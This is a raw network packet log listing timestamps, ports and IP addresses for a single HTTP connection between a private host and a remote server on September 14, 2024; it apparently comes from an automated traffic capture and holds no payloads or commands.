Sep 14, 2024 18:44:09.798899889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798934937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.798952103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.799603939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799638987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799674034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799676895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.799732924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.799806118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799837112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799873114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799896002 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.799926043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799978018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.799983025 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.800012112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800050020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800070047 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.800084114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800192118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.800635099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800668001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800704002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800719976 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.800791979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800823927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800848961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.800856113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800892115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800904989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.800925016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800959110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.800991058 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.842859983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.842957973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.843000889 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843033075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843151093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843152046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.843370914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843421936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843440056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.843457937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843524933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843525887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.843558073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843590975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843611956 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.843626022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843661070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843682051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.843898058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843930960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.843951941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.843966961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.844016075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.844047070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.844079971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.844113111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.844125032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886111021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886143923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886181116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886194944 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886214972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886249065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886281013 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886291981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886312962 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886318922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886368990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886387110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886419058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886451006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886464119 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886487961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886534929 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886538982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886589050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886626959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886640072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886663914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886713982 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886718988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886750937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886782885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886801004 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886817932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886850119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886877060 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886884928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886919022 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886935949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.886950970 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.886987925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887006998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.887568951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887639046 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.887715101 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887747049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887782097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887801886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.887814999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887846947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887868881 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.887880087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.887986898 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.888287067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888345957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888380051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888411045 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.888415098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888451099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888469934 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.888504982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888540030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888557911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.888571978 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888607025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888623953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.888638973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888675928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888691902 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.888724089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888756990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888797045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.888834953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.888834953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.889192104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889229059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889261961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889283895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.889293909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889327049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889348984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.889358997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889396906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889411926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.889431953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889540911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.889760971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889794111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889837027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.889847040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.890286922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.890321016 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.890350103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.890477896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.890511990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.890590906 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.891007900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891040087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891061068 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.891113043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891145945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891165018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.891750097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891782045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891819000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.891819954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891875029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.891896009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891932011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891969919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.891985893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892019987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892038107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892074108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892076015 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892112017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892133951 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892147064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892250061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892529964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892564058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892596006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892620087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892630100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892677069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892680883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892713070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892745972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892776966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892781973 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892813921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892833948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.892846107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892880917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.892899990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.894419909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.894449949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.894505024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.928966999 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929004908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929040909 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929073095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929126024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929127932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929162979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929227114 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929256916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929264069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929301023 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929308891 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929343939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929358959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929374933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929408073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929420948 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929442883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929476023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929488897 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929524899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929558992 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929572105 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929589987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929629087 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929635048 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929673910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929706097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929718018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.929739952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929776907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.929785967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.971858025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.971910954 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.971946955 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972011089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.972011089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.972032070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972067118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972121954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.972124100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972173929 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972207069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972239017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972274065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972306967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972320080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.972320080 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.972340107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972352028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.972373962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972410917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.972420931 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.973061085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973131895 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.973396063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973428965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973464012 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973483086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.973499060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973546028 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.973547935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973581076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973613977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973648071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973694086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.973696947 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973715067 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.973731041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973762989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973781109 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.973799944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973844051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.973856926 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974072933 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974106073 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974133968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974143028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974178076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974203110 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974229097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974262953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974284887 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974294901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974329948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974366903 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974368095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974400997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974425077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974432945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974468946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974487066 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974505901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974536896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974556923 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974567890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974605083 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974626064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974638939 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974670887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974697113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974704027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974760056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974797964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974834919 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974848032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974888086 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.974898100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974914074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974946976 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.974952936 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975002050 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975059986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975092888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975126028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975183964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975372076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975430012 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975456953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975632906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975666046 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975687981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975697994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975735903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975755930 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975769997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975801945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975821972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975836039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975872993 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975888014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.975903988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975938082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.975955009 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.978207111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978275061 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.978358984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978391886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978449106 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:09.978518009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:09.978549004 CEST	80	49722	188.114.97.3	192.168.2.6
